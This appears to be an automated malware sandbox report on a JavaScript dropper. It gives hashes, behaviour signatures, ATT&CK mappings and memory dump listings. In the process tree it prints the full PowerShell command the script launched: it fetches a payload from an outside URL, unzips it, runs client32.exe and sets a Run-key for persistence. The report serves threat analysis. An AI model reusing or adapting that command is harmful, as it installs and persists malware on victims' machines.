0127b82a035d7f33d4a14888cf28c2012451ca4f72d40b1cc60b5ab5d0d0a48c

Analysis

max time kernel
121s
max time network
126s
platform
windows7_x64
resource
win7-20230712-en
resource tags

arch:x64arch:x86image:win7-20230712-enlocale:en-usos:windows7-x64system
submitted
29/08/2023, 08:38

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

728728728.js
Size

3KB
MD5

ca95dfc6c50cd32027e64e4660047ac9
SHA1

7158bd43db3cdb055923c8bea5271ba36b79c167
SHA256

0127b82a035d7f33d4a14888cf28c2012451ca4f72d40b1cc60b5ab5d0d0a48c
SHA512

31791407ec8a8e854c20c515b69f753deb432e2dfcbe8509fef8381cee6a9c3c5051d9e2137b57ebdd5ab4c9b68bb8422c6b52e7f4154de4323c41706ffc47b4

Score

10^/10

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://instalfrio.cl/destination.txt

exe.dropper

http://instalfrio.cl/destination.txt

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
5	624	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
624	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	624	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 2196 wrote to memory of 624	2196	wscript.exe	28
PID 2196 wrote to memory of 624	2196	wscript.exe	28
PID 2196 wrote to memory of 624	2196	wscript.exe	28

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\728728728.js
1⤵
- Suspicious use of WriteProcessMemory
PID:2196
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ex Bypass -NoP -C "$u='http://instalfrio.cl/destination.txt';$6=(New-Object System.Net.WebClient).DownloadString($u);$a=[System.Convert]::FromBase64String($6);$d=[System.Environment]::GetFolderPath('ApplicationData')+'\D';if (!(Test-Path $d -PathType Container)) { New-Item -Path $d -ItemType Directory };$p=Join-Path $d 'p.zip';[System.IO.File]::WriteAllBytes($p,$a);try { Add-Type -A System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory($p,$d)} catch { Write-Host 'Failed: ' + $_; exit};$e=Join-Path $d 'client32.exe';if (Test-Path $e -PathType Leaf) { Start-Process -FilePath $e} else { Write-Host 'No exe.'};$s=$d+'\client32.exe';$k='HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run';$v='X';$t='String';New-ItemProperty -Path $k -Name $v -Value $s -PropertyType $t;"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:624

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/624-4-0x000000001B350000-0x000000001B632000-memory.dmp

Filesize
2.9MB

Download
memory/624-5-0x00000000023A0000-0x00000000023A8000-memory.dmp

Filesize
32KB

Download
memory/624-6-0x000007FEF51C0000-0x000007FEF5B5D000-memory.dmp

Filesize
9.6MB

Download
memory/624-8-0x0000000002940000-0x00000000029C0000-memory.dmp

Filesize
512KB

Download
memory/624-7-0x0000000002940000-0x00000000029C0000-memory.dmp

Filesize
512KB

Download
memory/624-9-0x0000000002940000-0x00000000029C0000-memory.dmp

Filesize
512KB

Download
memory/624-10-0x000007FEF51C0000-0x000007FEF5B5D000-memory.dmp

Filesize
9.6MB

Download
memory/624-11-0x0000000002940000-0x00000000029C0000-memory.dmp

Filesize
512KB

Download
memory/624-12-0x000007FEF51C0000-0x000007FEF5B5D000-memory.dmp

Filesize
9.6MB

Download
memory/624-14-0x0000000002940000-0x00000000029C0000-memory.dmp

Filesize
512KB

Download
memory/624-15-0x0000000002940000-0x00000000029C0000-memory.dmp

Filesize
512KB

Download
memory/624-13-0x0000000002940000-0x00000000029C0000-memory.dmp

Filesize
512KB

Download
memory/624-17-0x000007FEF51C0000-0x000007FEF5B5D000-memory.dmp

Filesize
9.6MB

Download